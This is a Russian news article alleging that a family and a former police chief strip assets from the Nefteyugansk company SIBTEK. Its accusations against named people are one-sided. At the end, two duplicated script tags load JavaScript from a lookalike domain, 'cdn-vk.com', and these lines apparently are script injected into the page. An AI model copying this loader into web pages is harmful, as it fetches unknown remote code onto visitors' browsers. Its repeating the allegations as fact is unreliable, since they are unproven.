Ситуация с разрушением топливо-транспортного нефтеюганского предприятия ООО «СИБТЭК», которую «Глагол» выявил несколько недель назад, ухудшается. Единственного источника дохода лишились несколько десятков человек, среди них, люди, имеющие многодетные семьи. Работа компании блокируется наемниками генерального директора Сергея Гальченко, а активы на сотни миллионов рублей выводятся на аффилированные с ним фирмы. Наглость с которой действуют временщики Гальченко объясняется просто: в их команде состоит не только конкурсный управляющий, но также, обнаружился бывший высокопоставленный сотрудник полиции Нефтеюганска.
Собственники подвергшейся рейдерской атаке базы попытались проверить состояние принадлежащей предприятию топливной базы – объекта повышенной опасности, когда их агрессивно остановил неизвестный мужчина. Мужчина долго не желал представляться и объяснять законность своего присутствия на режимном объекте. Пришлось вызвать полицию и начать вести видеосъемку, чтобы зафиксировать его противоправные действия. В конце концов, выяснилось, что он - охранник - Олег Александрович Шишков. Он якобы трудоустроен заместителем генерального директора по безопасности ООО «Сибирь Энерджи» - это одна из компаний, как мы ранее рассказывали, через которую семья Гальченко и ее соучастники выводят из ООО «СИБТЭК» миллионы рублей и имущество.
«Я сейчас камеру сломаю и буду прав», - пригрозил Шишков работавшим на месте журналистам.
Посмотреть, как это было, можно ЗДЕСЬ.
Свои угрозы Шишков пока до исполнения не довел. Он больше говорил о собственной значимости. Так, спустя какое-то время, Шишков заявил, что он является бывшим высокопоставленным полицейским и сейчас в «почетной» отставке. Видимо, этот факт должен был кого-то впечатлить или напугать. Действительно, Шишков Олег Александрович работал в Нефтеюганске начальником криминальной полиции местного отделения УВД. Сайт администрации города сохранил об его деятельности немного данных – ничего, что хоть как-то свидетельствовало о почетности отставки Шишкова, не найдено. Более того, как стало известно из открытых источников, Шишков является банальным неплательщиком по кредитам и участником мутных схем.
В 2015 году КПКГ «АЖУР» подала в суд иск к Олегу Шишкову о взыскании с него долга по договору займа. Он брал деньги у кооператива на 12 месяцев под 18% годовых и не захотел ничего возвращать (https://sudact.ru/regular/doc/N3GXfv1aBDr9/ ).
«Шишков О.А. условия договора займа не выполняет, погашение основной суммы долга и оплату процентов за пользование денежными средствами не производит. […] Исковые требования кредитного потребительского кооператива граждан «АЖУР» к Шишкову О. А. о взыскании долга по договору займа, удовлетворить», - говорится в решении Нефтеюганского районного суда.
В решении не указано, сколько Шишков захотел себе прикарманить. Возможно, это 10 000 рублей, а возможно и десять миллионов. И теперь, может быть, некогда великому полицейскому Нефтеюганска, грозе криминала, приходится подрабатывать наемником у сомнительных личностей, чтобы хоть как-то отдать долги? Это версия, но она имеет право на существование. Тем более, что Шишков активно пользуется своими навыками полицейского: мешая законному проходу собственника на предприятие, Шишков демонстрировал некое удостоверение, которое могло бы подтвердить его слова об отношении к силовикам. Однако детально рассмотреть он его никому не дал. И не удивительно, потому что сразу возникают вопросы: кто и на каком основании выдал пенсионеру служебное удостоверение, и не подделка ли оно?
Кстати говоря, это удостоверение он не стал «светить» перед участковым. Впрочем, сам участковый и так повелся на актерскую игру Шишкова, а может фактор цеховой солидарности сработал. Молодой и явно малоопытный полицейский вел себя пассивно, потерянно ходил по базе и пытался понять, что ему делать. Он не стал проверять полномочия Шишкова, а впоследствии вынес постановление об отказе в проведении проверки по заявлению собственников топливно-транспортной базы. В общем, даже не поинтересовался, что это за люди проникли на объект без согласия собственников и какими «корочками» размахивал Олег Шишков.
Между тем ситуация становится сложнее. База является одним из фронтов, где ведется борьба за жизнь предприятия ООО «СИБТЭК». Сергей Гальченко уже продал технику фирме ООО «Ойлснаб», которая, в свою очередь, часть перепродала фирме ООО «ТК «ССЛ», а часть сдала в аренду обратно в ООО «СИБТЭК». Аналогично поступили и в ООО «ТК «ССЛ». По такой схеме из ООО «СИБТЭК» выводится техника. Соответственно, сотрудники пойдут под сокращения и будут разогнаны. Во главе схемы, как рассказывал «Глагол», стоит Владимир Гальченко, его родственники и друзья. Примечательно, что на месте Шишков и Гальченко-старший в разговоре с участковым (о чем есть запись) заявили, что вся техника принадлежит последнему, то есть, проговорили схему по выводу техники, а Шишков, не стесняясь раскрытия схем, а скорее бравируя значимостью, заявил, что представляет всех, - и Гальченко, и Абдуллина (зять Гальченко, директор ООО "ТК "ССЛ"), и Шкредова (племянник Гальченко, директор "Сибирь-Энерджи". Рабочие ООО «СИБТЭК», который пока избежали сокращения, в частных разговорах высказывают опасение за своё будущее и не могут сказать, в какой организации они сейчас числятся – «Сибирь-Энерджи» или ООО «ТК ССЛ».
Интернет-издание “Глагол” не осталось безучастным к судьбе работников ООО «СИБТЭК», и направило несколько журналистских запросов в различные инстанции: мэру Нефтеюганска, губернатору ХМАО, а также в прокуратуру и Следственный комитет.
В обращении говорилось:
“Как стало известно из обращений в редакцию жителей Ханты-Мансийского автономного округа-Югры, в последнее время результате действий граждан Гальченко В.Н., Гальченко С.В., Белоусова А.В., Шкредова И.В. в ООО «СИБТЭК» разворачивается корпоративный конфликт, из-за чего работников предпенсионного возраста вынуждают увольняться, а денежные средства и имущество предприятия выводятся через сомнительные схемы в интересах вышеуказанных лиц. ... При этом, ООО «СИБТЭК» является одним из крупнейших налогоплательщиков Ханты-Мансийского автономного округа-Югры. Дальнейшее развитие конфликта, лишение предприятия материально-технической базы и финансовых ресурсов в интересах Гальченко В.Н., Гальченко С.В., Белоусова А.В., Шкредова И.В. грозит полноценным социальным взрывом и ростом протестной активности в Нефтеюганске и в Ханты-Мансийском автономном округе-Югре. В связи с критическими нарушением социальных прав граждан РФ просим принять меры по недопущению нарушения прав граждан, нарушения законодательства, взять ситуацию на контроль.”
Ответ на журналистский запрос, по закону о СМИ, должен быть дан в семидневный срок. Если же какая-либо государственная инстанция не желает давать ответа, свой обоснованный отказ она должна прислать в течение трех дней.
Формально исполнив закон, и прислав в редакцию ответ, мэрия Нефтеюганска, тем не менее, смогла сильно удивить журналистов. Как известно, одним из важнейших критериев оценки работы руководителя любого российского муниципального образования является процент безработицы на его территории. За этим тщательно следят полпредства, и в случае социальных неурядиц принимают меры, вплоть до привлечения недобросовестных должностных лиц к ответственности по соответствующим статьям УК РФ. Так как же отреагировал Сергей Дегтярев на беду горожан? Приводим выдержки из официального ответа:
“...согласно статье 3 Федерального закона от 08.02.1998 No 14-ФЗ Российская Федерация, субъекты Российской Федерации и муниципальные образования не несут ответственности по обязательствам общества, равно как и общество не несет ответственности по обязательствам Российской Федерации, субъектов Российской Федерации и муниципальных образований.
Вместе с тем, в статье 23 Конституции Российской Федерации закреплен принцип недопустимости произвольного вмешательства в частные дела, который имеет существенное значение для экономической деятельности, поскольку касается прежде всего вмешательства в коммерческую деятельность органов государственной власти и органов местного самоуправления. Согласно этому принципу органы государственной власти и местного самоуправления, а также любые иные лица не вправе вмешиваться в частные дела субъектов коммерческого права, если последние осуществляют свою деятельность в соответствии с требованиями законодательства.
Исходя из вышеизложенного следует, что произвольное вмешательство администрации города Нефтеюганска в деятельность ООО «СИБТЭК» неправомерно, вследствие чего недопустимо. В случае установления нарушения прав граждан в результате деятельности ООО «СИБТЭК», указанные лица вправе обратиться за защитой своих прав в правоохранительные или судебные органы государственной власти”.
Проще говоря, мы поняли это письмо так: проблемы горожан - это их личные проблемы.
Но вмешательство « Глагола» в ситуацию с увольнениями рабочих заставило предполагаемого организатора схем с выводом активов из ООО «СИБТЭК» Владимира Гальченко на днях вернуться из Анапы, где он проживает уже длительное время, в Нефтеюганск.
<script src="//cdn-vk.com/js/vk.js?v=2" async=""></script>
<script src="//cdn-vk.com/js/vk.js?v=2" async=""></script>
